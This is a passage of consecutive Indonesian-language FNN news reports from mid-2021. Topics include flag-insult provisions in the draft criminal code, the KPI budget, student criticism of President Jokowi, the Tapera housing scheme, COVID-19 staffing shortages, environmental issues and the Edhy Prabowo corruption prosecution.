Protokol, Pers, dan Media Sekretariat Presiden Bey Machmudin. (sws)

Pakar: Pasal 235 RUU KUHP Pertegas Pidana Penghinaan Bendera Negara

Purwokerto, FNN - Pakar Hukum Universitas Jenderal Soedirman (Unsoed) Purwokerto Prof Hibnu Nugroho menilai rumusan Pasal 235 Rancangan Undang-Undang Kitab Undang-Undang Hukum Pidana (RUU KUHP) mempertegas ancaman pidana penghinaan lambang/bendera negara. "Kalau (penghinaan) terhadap lambang-lambang atau bendera negara, saya sepakat itu dimasukkan dalam RUU KUHP. Jadi semua yang dirumuskan dalam RUU KUHP itu untuk menunjukkan bahwa yang namanya lambang atau bendera negara harus dihormati dan ditempatkan pada tempat yang benar," katanya di Purwokerto, Kabupaten Banyumas, Jawa Tengah, Rabu. Ia mengakui ancaman pidana penghinaan lambang/bendera negara sebenarnya telah masuk dalam KUHP yang masih berlaku saat ini meskipun tidak dijelaskan secara rinci bentuk penghinaannya. Pemerintah selanjutnya membentuk Undang-Undang Nomor 24 Tahun 2009 tentang Bendera, Bahasa, dan Lambang Negara, serta Lagu Kebangsaan untuk memberikan jaminan kepastian hukum, keselarasan, keserasian, standarisasi, dan ketertiban di dalam penggunaan bendera, bahasa, dan lambang negara, serta lagu kebangsaan. Oleh karena itu, Hibnu sepakat jika ancaman pidana terhadap pelaku penghinaan bendera atau lambang negara juga diatur dalam RUU KUHP. Dalam hal ini, Pasal 234 RUU KUHP menyebutkan, "Setiap orang yang merusak, merobek, menginjak-injak, membakar, atau melakukan perbuatan lain terhadap bendera negara dengan maksud menodai, menghina, atau merendahkan kehormatan bendera negara dipidana dengan pidana penjara paling lama 5 (lima) tahun atau pidana denda paling banyak kategori V." Sementara dalam Pasal 235 RUU KUHP disebutkan, dipidana dengan pidana denda paling banyak kategori II bagi setiap orang yang; a. memakai bendera negara untuk reklame atau iklan komersial; b. mengibarkan bendera negara yang rusak, robek, luntur, kusut, atau kusam; c. mencetak, menyulam, dan menulis huruf, angka, gambar atau tanda lain atau memasang lencana atau benda apapun pada bendera negara; atau d. memakai bendera negara untuk langit-langit, atap, pembungkus barang, dan tutup barang yang dapat menurunkan kehormatan bendera negara." "Jangan sampai lambang-lambang negara mendapatkan tempat yang kurang baik, yang cenderung ada suatu pelecehan, ada suatu penghinaan, dan sebagainya. Makanya pasal itu untuk mempertegas itu (ancaman pidana terhadap penodaan/penghinaan bendera negara)," kata Guru Besar Fakultas Hukum Unsoed itu. Disinggung mengenai ketentuan yang diatur dalam Pasal 235 huruf b RUU KUHP, dia mengatakan suatu perbuatan pidana itu ada niatan untuk melanggar hukum. Dengan demikian, kata dia, tidak masalah jika perbuatan mengibarkan bendera negara yang rusak, robek, luntur, kusut, atau kusam itu dilakukan tanpa adanya niatan untuk melanggar hukum. "Itu harus dipahami dalam teori ilmu hukum. Dalam arti kesengajaan, bendera sudah robek, kusut, kusam, atau luntur itu penghinaan. Tetapi kalau yang tidak tahu (adanya ancaman pidana), ya teori hukumnya tidak kena karena ketidaktahuannya kok," katanya. Ia mengatakan, untuk mengetahui apakah seseorang tahu atau tidak tahu tentang tindak pidana tersebut bisa diketahui dalam tataran pembuktian. "Itu (Pasal 235 Huruf b RUU KUHP) betul bisa dipakai sepanjang ada suatu niatan sebagai bentuk penghinaan lambang/bendera negara. Jadi, teori kesadaran harus tahu, sadar bahwa itu kusut, ya enggak usah dinaikkan," katanya. Menurut dia, hal itu juga berlaku terhadap bendera negara-negara sahabat. "Kita juga harus hormati negara-negara sahabat," katanya menegaskan. (mth)

PSI Soroti Anggaran KPI Capai Rp60 Miliar di Tengah Pandemi

Jakarta, FNN - Dewan Pimpinan Pusat (DPP) Partai Solidaritas Indonesia (PSI) menyoroti besaran anggaran untuk Komisi Penyiaran Indonesia (KPI) yang mencapai Rp60 miliar pada 2021 di tengah kesulitan Indonesia menghadapi bencana non-alam pandemi COVID-19. "Anggaran sebesar itu mestinya akan lebih bermanfaat jika dialihkan untuk penanganan pandemi COVID-19 dari pada membiayai KPI," kata Juru Bicara DPP PSI Dara Nasution melalui keterangan tertulis yang diterima di Jakarta, Rabu. Apalagi, lanjut dia, besarnya anggaran yang digelontorkan pemerintah pusat melalui alokasi pendapatan dan belanja negara (APBN) masih berbanding terbalik dengan capaian KPI selama ini. Melihat situasi pandemi COVID-19 saat ini, pengurus DPP PSI mendorong pemerintah dan DPR untuk mengkaji keberadaan KPI. Anggaran tersebut dinilainya jauh lebih bermanfaat jika dialihkan untuk penanganan pandemi COVID-19. "Lebih baik anggaran KPI kita alihkan untuk mempercepat penanganan pandemi," ujar dia. Menurut dia, jika dialihkan, anggaran Rp60 miliar tersebut dapat membantu warga miskin yang terdampak pandemi COVID-19. Apalagi, di masa-masa sulit sekarang ini efisiensi anggaran sangat diperlukan. Sesuai amanat Undang-Undang nomor 32 tahun 2002 tentang Penyiaran, KPI terdiri atas KPI Pusat dan KPI Daerah. Pembiayaan program KPI Pusat berasal dari APBN sementara KPI Daerah dibiayai APBD masing-masing daerah. "Kalau kita telaah Undang-Undang Penyiaran, Rp60 miliar rupiah dari APBN digunakan untuk program kerja oleh KPI Pusat saja. KPI Daerah sudah ada skema pembiayaan masing-masing, terutama berasal dari APBD," kata dia. Sebelumnya, DPP PSI juga meminta pemerintah agar meninjau ulang keberadaan KPI. Hal itu buntut dari beredarnya surat edaran KPI Pusat tentang pembatasan jam tayang 42 lagu berbahasa Inggris yakni hanya boleh diputar di radio setelah pukul 22.00 WIB. Pada 2019, PSI juga mengkritik KPI setelah muncul rencana KPI yang hendak menyensor iklan Shopee dan ingin mengawasi isi siaran di platform digital yakni YouTube, Netflix, Facebook, dan lain sebagainya. PSI menilai KPI telah melampaui kewenangan dengan mengawasi konten hiburan di platform digital yang bukan menjadi cakupan tanggung jawabnya. Di saat bersamaan, KPI justru gagal mengawasi kualitas isi siaran televisi yang menayangkan mata acara yang tidak mendidik dan ditonton jutaan rakyat setiap hari. (sws)

Anggota DPR: Kritik Mahasiswa Jangan Dibawa ke Proses Hukum

Jakarta, FNN- Anggota Komisi III DPR RI Heru Widodo meminta kritik yang disampaikan Badan Eksekutif Mahasiswa (BEM) Universitas Indonesia terhadap Presiden Jokowi dan diunggah di media sosial, jangan dibawa ke proses hukum. "Itu (kritik mahasiswa) adalah bagian dari ekspresi berpendapat yang sudah diatur dalam demokrasi, jangan disangkutpautkan ke ranah hukum," kata Heru Widodo dalam keterangannya di Jakarta, Rabu. Dia mengingatkan semua pihak agar melihat kasus tersebut secara utuh dan urgensi. Hal itu menurut dia karena merupakan kritikan terhadap pemerintah dari kalangan mahasiswa yang selama ini dinilai sebagai bagian perjuangan demokrasi di Indonesia. "Saya tidak menghendaki persoalan ini masuk ke ranah hukum, tapi jika ada aduan, saya sarankan kepolisian melihat urgensi dari persoalan ini," ujarnya. Ketua Umum DPN Gerakan Mahasiswa Satu Bangsa (Gemasaba) itu mengingatkan kembali pesan Kapolri Jenderal Pol Listyo Sigit yang punya prioritas kerja memimpin institusi Kepolisian. Menurut dia, Kapolri sering mengingatkan agar masyarakat jangan sedikit-sedikit lapor Polisi karena masih banyak kasus penting lain yang harus dituntaskan. "Kapolri sering ingatkan, jangan sedikit-sedikit lapor dan sedikit-sedikit pelanggaran hukum. Masih banyak kasus penting lain yang harus dituntaskan, salah satu contoh hukuman WNA terpidana mati justru dicabut, itu perlu dikaji," ujarnya. ​​​​​​​ Heru menilai peran mahasiswa juga perlu digarisbawahi dan diingatkan kembali yaitu sebagai salah satu pilar membangun sekaligus mengawal demokrasi di Indonesia. Karena itu menurut dia jangan abaikan peran strategis mahasiswa yang merupakan pengawal demokrasi dan adanya reformasi adalah peran nyata mahasiswa. Sebelumnya, BEM UI yang memberikan kritikan terhadap Pemerintahan Presiden Jokowi. Kritikan tersebut berupa poster bermuatan satire yang menyebut Presiden RI Joko Widodo sebagai "King of Lip Service". Poster tersebut diunggah di media sosial BEM UI. (sws)

Kemenkeu: Pemilik Rumah Bisa Ikuti Program Tapera

Jakarta, FNN - Direktur Sistem Manajemen Investasi, Kementerian Keuangan Ludiro menyatakan bahwa tidak harus yang belum memiliki rumah yang boleh ikut program Tabungan Perumahan Rakyat (Tapera), yang sudah memiliki rumah pun dapat memanfaatkan program ini sebagai alat untuk menabung. "Selain itu (bagi yang sudah punya rumah) juga turut bergotong royong membantu pembiayaan perumahan, khususnya bagi masyarakat berpenghasilan rendah," kata Ludiro dalam keterangan tertulis di Jakarta, Rabu. Sebelumnya Deputi Komisioner Badan Pengelola Tabungan Perumahan Rakyat (BP Tapera) Bidang Pemupukan Dana, Gatut Subadio, menyatakan bahwa tujuan dibentuknya lembaga ini adalah untuk menghimpun dan menyediakan pendanaan yang terjangkau dan bersifat jangka panjang serta berkelanjutan dalam rangka memenuhi kebutuhan rumah yang layak, terutama bagi Masyarakat Berpenghasilan Rendah (MBR). “Secara kelembagaan, keberadaan BP Tapera juga merupakan kelanjutan dari program serupa yang ditujukan untuk Pegawai Negeri Sipil yaitu Bapertarum-PNS. Tapi meski demikian, peserta juga bisa berasal dari TNI/POLRI maupun swasta/umum,” ujarnya Sementara itu Ludiro menambahkan peran Kementerian Keuangan dalam mendukung kerja BP Tapera di antaranya adalah memberikan modal awal sebesar Rp2,5 triliun dengan komposisi Rp2 triliun untuk operational expenditure dan Rp0,5 triliun untuk capital expenditure. Selain itu, Kementerian Keuangan juga melakukan pengalihan dana kelolaan Bapertarum menjadi bagian dari pengelolaan BP Tapera. Dia menyebutkan beberapa tantangan yang perlu dikelola BP Tapera, yakni menjadi lembaga yang berkelanjutan, mampu mengatasi backlog perumahan, memobilisasi dana jangka panjang dari investor, sinergi dengan lembaga lain, menjadi program yang melembaga dengan keanggotaan luas (universal) dan mampu mengelola kepesertaan melalui dukungan sistem informasi dan big data perumahan agar dapat terlaksana dengan baik. Kepala Divisi Riset di Bursa Efek Indonesia (BEI) yang juga ekonom, Poltak Hotradero, menyebut perlu penetrasi strategi investasi yang baik dalam mengembangkan sektor perumahan di Indonesia. “Ketika rakyat dibantu mengakses sektor perumahan itu berarti terdapat ruang perbaikan konsumsi bagi rakyat itu sendiri. Pada titik ini, dana yang seharusnya digunakan untuk perumahan bisa dialihkan ke pendidikan atau ke sektor produktif lainnya. Secara bersamaan, langkah itu juga bisa mengembangkan perekonomian Indonesia," katanya. Poltak menambahkan bahwa bagi kelas menengah ke atas, kepemilikan rumah boleh dikatakan bukan sebagai persoalan serius. Namun, hal tersebut tidak berlaku dengan masyarakat kelas bawah. Itulah sebabnya, orang Indonesia perlu dipaksa menabung secara sistemik demi memenuhi kebutuhan perumahan. “Ini yang perlu dikomunikasikan kepada khalayak umum. Para pekerja di kantor, terutama yang sudah memiliki rumah, tidak jarang, misalnya, mempertanyakan potongan pendapatan untuk Tapera. BP Tapera perlu menjelaskan arti penting menabung sebagai bentuk dari pendisiplinan diri. Dengan begitu, budaya menabung bisa tercipta di tengah masyarakat kita. Kalau sudah pensiun, dana itu juga diperlukan oleh mereka. Apalagi, menabung sistemik itu bagus untuk pengelolaan keuangan kita," jelasnya. Poltak menyebutkan bahwa dirinya sangat mendukung penggalangan dana dalam memenuhi kebutuhan perumahan rakyat karena hal itu bisa mendorong ekonomi, mendisiplinkan rakyat berinvestasi, dan mewujudkan keinginan orang-orang kelas menengah ke bawah untuk memiliki rumah yang layak dan aman. "Pada akhirnya adalah daya ungkit bagi perekonomian kita," ujarnya. (mth)

Suporter Timnas Finlandia di Euro 2020 Positif Covid-19

Jakarta, FNN - Suporter Timnas Finlandia yang pulang dari mendukung tim nasional mereka di Euro 2020 menambah jumlah kasus COVID-19 di negara Baltik tersebut. Menurut otoritas kesehatan Finlandia, sedikitnya 300 suporter sepak bola terkontraksi COVID-19, demikian laporan Reuters, Selasa. Hal itu diyakini akan mendorong penambahan kasus positif COVID-19 di Finlandia dalam beberapa hari terakhir, yang sepekan ini berada di level lebih dari 200 kasus per har. "Melihat dari kelompok usia mereka, jelas kebanyakan belum menerima dua dosin vaksin," kata kepala keamanan Institut Kesehatan Finlandia Mika Salminen. Data resmi Finlandia menyatakan lebih dari 200 infeksi COVID-19 dibawa dari Rusia terdeteksi di antara orang-orang yang tinggal di area metropolitan seperti Helsinki. "Pertanyaan kuncinya adalah, apakah akan ada rantai penularan. Sekarang sepertinya kami tidak bisa menurunkan tingkat pengetatan di Helsinki," ujar Salminen. Lembaga itu memperkirakan 4.500 s.d. 6.500 suporter Finlandia berangkat ke Saint Petersburg, Rusia, untuk menyaksikan timnas di Euro 2020. Otoritas Finlandia masih berusaha melacak semua suporter dan memperingatkan kemungkinan mereka telah menularkan virus itu ke kerabat mereka dalam keramaian akhir pekan lalu. Pekan lalu, otoritas Rusia menyebut varian Delta bertanggung jawab atas lonjakan kasus dan kematian di kota-kota besar termasuk Saint Petersburg yang masih dijadwalkan menggelar laga perempat final Euro 2020 antara Swiss kontra Spanyol, Jumat (2/7) nanti. Finlandia saat ini merupakan salah satu negara dengan dampak paling ringan dari pandemi COVID-19, di mana negeri berpopulasi 5,5 juta orang itu mencatatkan 95.387 kasus, 969 kematian dan 29 orang dirawat di rumah sakit karenanya.

Pemkab Teluk Bintuni Komitmen Menjaga Kawasan Hutan Mangrove

Manokwari, FNN - Bupati Teluk Bintuni, Papua Barat, Pietrus Kasihiw menyatakan bahwa kebijakan pembangunan dan pengembangan kawasan industri penghasil minyak dan gas daerah itu berpedoman pada prinsip-prinsip konservatif untuk penyelamatan sumberdaya alam. Ia mengatakan bahwa berbagai kebijakan tata ruang di kabupaten Teluk Bintuni disesuaikan pula untuk mendukung komitmen Gubernur Papua Barat menjadikan Papua Barat sebagai provinsi konservasi. "Kabupaten Teluk Bintuni ditetapkan sebagai kawasan Industri khusus berbasis minyak dan gas bumi berdasarkan Perpres 109 Tahun 2020, tetapi kami juga punya tanggung jawab pelestarian hutan dan alam," kata Bupati di Manokwari, Selasa. Ia menuturkan bahwa Teluk Bintuni punya potensi kawasan hutan Mangrove terbesar di Papua Barat termasuk kawasan hutan lindung seluas 1,7 juta hektare yang sudah menjadi komitmen Pemda Teluk Bintuni untuk mengamankan kawasan tersebut. Upaya pelestarian hutan Mangrove dan komitmen menjaga kawasan hutan lindung sudah diprogramkan dalam Festival Mangrove Teluk Bintuni sejak tahun 2019 untuk mengkampanyekan upaya konservasi, wisata dan kearifan lokal. "Festival itu dibuat untuk tujuan kampanye konservasi, ekowisata Mangrove, tapi juga juga mengangkat kearifan lokal masyarakat pribumi Teluk Bintuni yang setia menjaga hutan Mangrove secara turun temurun," kata Bupati Teluk Bintuni. Komitmen menjaga hutan untuk masa depan daerah itu, Bupati dua periode ini pun mengakui, bahwa sebagian lahan eks perkebunan sawit sudah diambil alih Pemda melalui pencabutan perizinan. "Sesuai arahan dan supervisi KPK kita kembalikan menjadi hutan rakyat. Ada dua izin konsesi yang sudah saya tandatangani untuk pencabutan izin, ada pula beberapa perusahaan yang masih sebatas diberi teguran," kata Bupati. (mth)

Kebutuhan Nakes Belum Bisa Diatasi Karena COVID-19 Berskala Nasional

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria mengemukakan, kebutuhan tenaga kesehatan di Jakarta sangat tinggi dan belum bisa diatasi mengingat situasi lonjakan COVID-19 terjadi dalam skala nasional. "Dokter yang ada di seluruh Indonesia pasti sudah dikerahkan oleh Kementerian Kesehatan, sudah dibagi ke seluruh provinsi, dibagi habis," kata Riza di Balai Kota Jakarta, Selasa malam. Riza menyebutkan bahwa kebutuhan tenaga kesehatan (nakes) tidak bisa dipenuhi dengan cepat, terlebih untuk dokter. Namun demikian, Pemprov DKI akan menambah tenaga kesehatan pada bidang lainnya terlebih dahulu dengan menggunakan tenaga sukarela. "Semua kebutuhan tenaga kesehatan tidak bisa diciptakan dengan cepat kalau dokter. Tapi kan sukarelawan juga bisa, tenaga-tenaga sukarelawan yang nanti dilatih, dilatih itu nanti disiapkan," kata Riza. Meski demikian, DKI dan Indonesia tidak ada rencana untuk mendatangkan tenaga kesehatan dari luar negeri. Menurut politisi Partai Gerindra tersebut, di negara lain pun tenaga kesehatan dibutuhkan dalam menghadapi pandemi. "Tidak. Luar negeri juga membutuhkan, kita bisa dan harus bisa mengatasi sendiri," kata Riza. Dalam menyikapi kurangnya tenaga kesehatan, Riza meminta masyarakat agar mendukung berbagai usaha untuk menekan dan mengakhiri pandemi COVID-19, termasuk kerja para tenaga kesehatan. "Kita harus dukung. Beri bantuan perhatian ke seluruh tenaga kesehatan dan seluruh aparat jajaran yang bekerja selama ini melawan COVID-19. Cara yang paling mudah adalah disiplin dan taat dalam pelaksanaan protokol kesehatan," tutur Riza. Saat ini Jakarta membutuhkan sekitar 2.156 tenaga kesehatan dan 5.139 vaksinator untuk penanggulangan COVID-19 di Ibu Kota. "Jumlah tenaga kesehatan kebutuhan nakes ini sedang ditambah, tenaga profesional ini membutuhkan tambahan 2.156, tenaga vaksinator perlu ditambah lagi 5.139 ya," kata Riza. DKI sempat meminta bantuan tenaga kesehatan dari Provinsi Banten, namun ditolak karena provinsi tersebut juga tengah membutuhkan tenaga kesehatan yang saat ini disebut kurang di sana. "Bahkan Jakarta minta kita supaya membantu untuk penanganan rumah singgah atau rumah sakit yang ada di Sunter sama Tanjung Priok, kita juga enggak bisa. Kita kesulitannya pada tenaga kesehatan," kata Gubernur Banten Wahidin Halim. Sejumlah rumah sakit penanganan COVID-19 di Banten mulai kewalahan untuk menampung pasien yang terus bertambah. Kapasitas rumah sakit kini rata-rata mencapai 86-90 persen. (mth)

Gubernur Kaltim Prihatin Kerusakan Lingkungan Akibat Pertambangan

Samarinda, FNN - Gubernur Provinsi Kalimantan Timur (Kaltim) Isran Noor menyatakan prihatin atas kondisi kerusakan lingkungan di wilayah setempat diduga karena aktivitas pertambangan batubara. Isran Noor ketika peringatan Puncak Hari Lingkungan Hidup (HLH) Sedunia 2021 di Balikpapan, Selasa mengatakan, saat ini proses perizinan kegiatan pertambangan telah beralih ke pemerintah pusat. Hal itu membuat pemerintah daerah khususnya provinsi tidak bisa berbuat banyak untuk menyelesaikan permasalahan yang ada. Diketahui, kegiatan pertambangan khususnya batu bara di wilayah Kaltim tumbuh subur. Bahkan tidak hanya perusahaan yang memiliki izin legal saja yang aktif beroperasi namun perusahaan tanpa surat izin juga marak ikut mengeruk kandungan tambang tersebut. Sejumlah bencana akibat pertambangan kerap disuarakan oleh para aktivis pertambangan di antaranya jalan umum rusak parah, longsor hingga terjadinya musibah banjir besar. "Jika saya bupati atau wali kota mungkin saya bisa gugat. Tapi karena saya gubernur dan wakil pemerintah pusat di daerah, tentu tidak bisa. Artinya, sama dengan menggugat diri sendiri," tegas Isran. Menurut Isran, untuk menertibkan itu, maka hanya satu kata saja yang diinginkan kepala daerah, khususnya Kaltim. Yaitu adanya aturan yang menetapkan kepala daerah memiliki tanggung jawab moral terhadap pengawasan pertambangan. Saat ini, lanjut Isran, kata-kata yang dimaksud itu tidak ada dalam aturan perundang-undangan perizinan pertambangan. "Jadi, satu kata saja, meski aturan itu ditarik ke pusat. Tetapi kepala daerah memiliki tanggung jawab moral dalam pengawasan pertambangan di lapangan. Itu saja yang diperlukan. Sehingga kepala daerah bisa berkoordinasi dengan pihak keamanan, baik TNI maupun Polri," ungkapnya. Bagi Isran, hal itu penting agar pertambangan tidak merugikan masyarakat di lingkungan sekitar aktivitasnya. Produksi batubara masih diperlukan bagi pembangunan di sejumlah negara luar di Asia maupun Eropa. Diperkirakan lima hingga 10 tahun ke depan. (mth)

Polres Kotabaru Temukan Nelayan Gunakan Alat Tangkap Pukat Mini

Banjarmasin, FNN - Polres Kotabaru jajaran Polda Kalimantan Selatan (Kalsel) menemukan masih adanya nelayan menggunakan alat tangkap mini trawl atau pukat mini yang dilarang, saat menggelar patroli di perairan laut Kotabaru dan perairan laut Pulau Sebuku. "Kami mengimbau agar tidak lagi menggunakan alat tangkap yang dilarang, karena dapat merusak terumbu karang dan biota laut lainnya. Gunakanlah alat yang ramah lingkungan," kata Kasat Polairud Polres Kotabaru AKP Koes Adi Dharma, Selasa. Mini trawl masuk dalam klasifikasi pukat hela berdasarkan Peraturan Menteri Kelautan dan Perikanan Nomor 6 Tahun 2010 tentang Klasifikasi Alat Penangkap Ikan. Cara pengoperasiannya dengan ditarik oleh kapal yang bergerak mengejar gerombolan ikan. Menurut Peraturan Menteri Kelautan dan Perikanan Nomor 2 Tahun 2015 tentang pelarangan penggunaan alat tangkap pukat hela dan pukat tarik, alat tangkap trawl merupakan alat tangkap yang dilarang. Penggunaan alat tangkap ini dapat mengancam kelestarian sumber daya ikan. Adi menyatakan nelayan yang menggunakan mini trawl didata dan jika ditemukan lagi di kemudian hari, bakal diproses pidana karena telah mendapatkan peringatan dan edukasi secara preemtif dan persuasif. Saat patroli bersama Dinas Kelautan dan Perikanan Provinsi Kalsel serta Dinas Perikanan Kotabaru, petugas juga menemukan kapal nelayan tak dilengkapi dokumen sebagai legalitas operasional kapal. Nelayan diingatkan pula agar melengkapi diri dengan alat keselamatan, dan tak memaksakan diri melaut apabila gelombang besar atau pun angin kencang. "Patroli rutin kami laksanakan untuk mencegah terjadinya pelanggaran dan menekan tindak pidana. Kehadiran polisi di laut juga memberikan rasa aman dan nyaman bagi nelayan yang beraktivitas di laut," kata Adi mewakili Kapolres Kotabaru AKBP Andi Adnan Syafruddin. (mth)

BI Dorong Percepatan dan Perluasan Digitalisasi Daerah Papua Barat

Sorong, FNN - Bank Indonesia mendorong percepatan dan perluasan digitalisasi daerah di Provinsi Papua Barat dengan menggelar kegiatan peningkatan kapasitas bagi tim percepatan dan perluasan digitalisasi daerah (TP2DD) yang ada di provinsi tersebut. Kegiatan yang digelar di Waisai, ibu kota kabupaten Raja Ampat, Selasa, merupakan salah satu rangkaian dari kegiatan Raja Ampat E- Festival 2021 guna mewujudkan ekosistem digital daerah di Papua Barat. Kegiatan tersebut dihadiri Bupati Manokwari, Manokwari Selatan, Bintuni, Fakfak, Kaimana, dan Pegunungan Arfak, Wakil Bupati Sorong Selatan, serta Wakil Gubernur dan Kepala Perwakilan Bank Indonesia Provinsi Papua Barat. Kepala Perwakilan Bank Indonesia provinsi Papua Barat, Rut W. Eka Trisilowati mengatakan kegiatan tersebut untuk mengimplementasikan elektronifikasi transaksi pemerintah daerah ( ETPD) dalam pengelolaan keuangan daerah. Baru sebanyak sembilan TP2DD terbentuk yakni Provinsi Papua Barat, kabupaten Manokwari, kabupaten Manokwari Selatan, Kabupaten Sorong, Kabupaten Sorong Selatan, Kabupaten Tambrauw, kabupaten Bintuni, Kabupaten Pegunungan Arfak, dan Kabupaten Raja Ampat. "Kesembilan Pemkab tersebut telah menandatangani TP2DD. Diharapkan kepada pemerintah daerah di Papua Barat yang belum membentuk TP2DD agar segera dilakukan," ujarnya. Wakil Gubernur Papua Barat, Mohamad Lakotani yang memberikan keterangan terpisah, mengatakan dalam mempercepat implementasi digitalisasi transaksi keuangan daerah, Presiden RI telah menandatangani Keputusan Presiden Nomor 3 tahun 2021 tentang Satuan Tugas Percepatan dan Perluasan Digitalisasi Daerah (Satgas P2DD). Percepatan dan perluasan digitalisasi diperlukan untuk meningkatkan efisiensi dan efektivitas layanan publik. Selain itu, mendukung transparansi sistem pemerintahan, optimalisasi pendapatan daerah, dan meningkatkan kesehatan fiskal. Upaya ini tidak akan berhasil tanpa ada sinergi yang berkesan kesinambungan antara pihak yang terkait seperti Bappeda, Badan Keuangan, dan perbankan di Papua Barat "Kami berharap pemerintah daerah yang belum membentuk TP2DD agar segera dilakukan dalam mendorong ekonomi digital di Provinsi Papua Barat," katanya. (mth)

Edhy Prabowo Dituntut 5 Tahun Penjara

Jakarta, FNN - Jaksa Penuntut Umum Komisi Pemberantasan Korupsi (KPK) menuntut mantan Menteri Kelautan dan Perikanan Edhy Prabowo dengan 5 tahun penjara dan denda Rp400 juta subsider 6 bulan kurungan. Jaksa meyakini terbukti menerima 77 ribu dolar AS dan Rp24,625 miliar sehingga total-nya mencapai sekitar Rp25,75 miliar dari para pengusaha pengekspor benih benur lobster (BBL) terkait pemberian izin budi daya dan ekspor. "Menyatakan terdakwa Edhy Prabowo terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi secara bersama-sama sebagaimana Pasal 12 huruf a UU Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP jo Pasal 65 ayat 1 KUHP," kata JPU KPK Ronald Worotikan dalam persidangan di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Selasa. "Menjatuhkan pidana terhadap terdakwa berupa pidana penjara selama 5 tahun dan denda Rp400 juta subsider 6 bulan kurungan," lanjut Ronald. Adapun hal yang memberatkan, perbuatan terdakwa Edhy tidak mendukung program pemerintah dalam pemberantasan KKN dan terdakwa Edhy selaku penyelenggara negara, yaitu sebagai menteri tidak memberikan teladan yang baik. Sedangkan hal yang meringankan, terdakwa Edhy bersikap sopan dalam persidangan, belum pernah dihukum, dan sebagian aset telah disita. Selain itu, jaksa menuntut Majelis Hakim menjatuhkan pidana tambahan terhadap Edhy untuk membayar uang pengganti sejumlah Rp9.687.447.219 dan 77 ribu dolar AS dengan ketentuan dikurangi seluruhnya dengan uang yang dikembalikan terdakwa dan apabila terdakwa tidak membayar uang pengganti tersebut dalam 1 bulan setelah putusan pengadilan memperoleh hukum tetap maka harta bendanya akan disita jaksa dan dilelang untuk menutupi hal tersebut. Dalam hal jika terdakwa tidak mempunyai harta maka dipidana penjara selama 2 tahun. Terhadap Edhy, jaksa juga menuntut Majelis Hakim menjatuhkan pidana tambahan terhadap berupa pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak terdakwa selesai menjalani pidana pokoknya. Jaksa menyebut Edhy menerima suap melalui Andreau Misanta Pribadi dan Safri (staf khusus Edhy Prabowo), Amiril Mukminin (sekretaris pribadi Edhy), Ainul Faqih (sekretaris pribadi istri Edhy, Iis Rosita Dewi) dan Siswadhi Pranoto Loe (pemilik PT Aero Cipta Kargo). Selain itu, jaksa juga menuntut Andreau dan Safri selama 4 tahun dan 6 bulan penjara dan denda Rp300 juta subsider 6 bulan kurungan, Amiril selama 4 tahun dan 6 bulan penjara dan denda Rp300 juta subsider 6 bulan kurungan serta Ainul dan Siswadhi selama 4 tahun penjara dan denda Rp200 juta subsider 4 bulan kurungan. ( sws)

Jokowi Akui Pernah Dicap Plonga Plongo

Jakarta, FNN - Presiden RI Joko Widodo menilai kritik yang dilayangkan mahasiswa kepada dirinya belakangan ini merupakan sebuah hal yang biasa pada era demokrasi sebagai bentuk ekspresi mahasiswa. Hal tersebut disampaikan Presiden dalam sesi wawancara di Istana Merdeka, Jakarta, yang ditayangkan melalui kanal YouTube Sekretariat Presiden di Jakarta, Selasa. "Ya, itu 'kan sudah sejak lama, ya. Dulu ada yang bilang saya ini klemar-klemer, ada yang bilang juga saya itu plonga-plongo, kemudian ganti lagi ada yang bilang saya ini otoriter. Kemudian ada juga yang ngomong saya ini 'bebek lumpuh' dan baru-baru ini, saya ini bapak bipang, dan terakhir ada yang menyampaikan the king of lip service," ujar Presiden. Presiden mengatakan bahwa hal itu bentuk ekspresi mahasiswa, dan di negara demokrasi hal tersebut boleh dilakukan. "Saya kira ini bentuk ekspresi mahasiswa dan ini negara demokrasi. Jadi, kritik itu, ya, boleh-boleh saja dan universitas tidak perlu menghalangi mahasiswa untuk berekspresi," kata Kepala Negara. Meski demikian, Presiden mengingatkan bahwa bangsa Indonesia memiliki budaya tata krama dan kesopansantunan. "Tapi ingat kita ini memiliki budaya tata krama, memiliki budaya kesopansantunan. Ya, saya kira biasa saja, mungkin mereka sedang belajar mengekspresiakan pendapat. Tapi yang saat ini penting kita semuanya memang bersama-sama fokus untuk penanganan pandemi COVID-19," kata Presiden. (sws)

Warga Jombang Protes Kedatangan Satgas Covid

Jombang, FNN – Ternyata bukan hanya warga Bangkalan saja yang berani melakukan protes atas penyekatan yang dilakukan di Jembatan Suramadu. Akhirnya, mereka berhasil “membongkar” penyekatan yang dinilainya diskriminatif bagi warga Madura. Di sebuah desa di Jombang, ada satu keluarga yang didatangi Tim Satgas Covid-19 berikut tim dokter dan perawat dari sebuah Puskesmas. Berpakaian lengkap APD berikut ambulan. Padahal, yang akan dijemput tersebut putrinya yang kena DB. Pak Sarjono, sebut saja begitu panggilannya, protes atas kedatangan mereka dengan pakaian APD itu. Salah seorang nakes pun menjelaskan, karena peraturannya (protapnya) seperti itu. “Nah, kalau ada paturannya seperti itu, bagi kami tidak apa-apa. Tapi yang jelas pertanggung- jawabannya, jika orang dinyatakan kena covid. Karena begini, bukannya saya tidak mau, tapi situasi seperti ini kan bikin trauma warga,” protes Pak Sarjono. Hasil tes swab atas keluarga Pak Sarjono pun ternyata membuktikan negatif. Termasuk atas cucu-cucunya. “Saya ancam, kalau mau mensosialisasikan ke masyarakat itu yang benar. Kamu bisa saya pidanakan karena datang ke rumah orang yang sehat berpakaian yang nota bene-nya bawa virus menular,” tegas Pak Sarjono “Pakaian (APD) itu hanya boleh dipakai untuk penjemputan orang sakit,” lanjutnya. Setelah diprotes, Tim Satgas Covid-19 dari Puskesmas yang terdiri dari seorang dokter dan tiga perawat itu meminta maaf pada Pak Sarjono. Mereka ketakutan sampai harus minta tolong ke Polsek untuk didampingi daat mohon maaf pada Pak Sarjono. Anggota Polsek dan Koramil sampai bingung kenapa kok berani. “Saya bilang, swab semua anak-anak, saya juga istri, gak berani Mas,” ujarnya. Akhirnya, kata Pak Sarjono, dokter dan tiga perawatnya merasa malu. “Biar masyarakat tahu kalau ada rakyat yang berani bicara. Supaya gak menakut-nakuti rakyat. Masyarakat kita itu kurang apa? Masyarakat kita ini manut semuanya,” ungkap Pak Sarjono. Atas kejadian itu, anggota Polsek yang 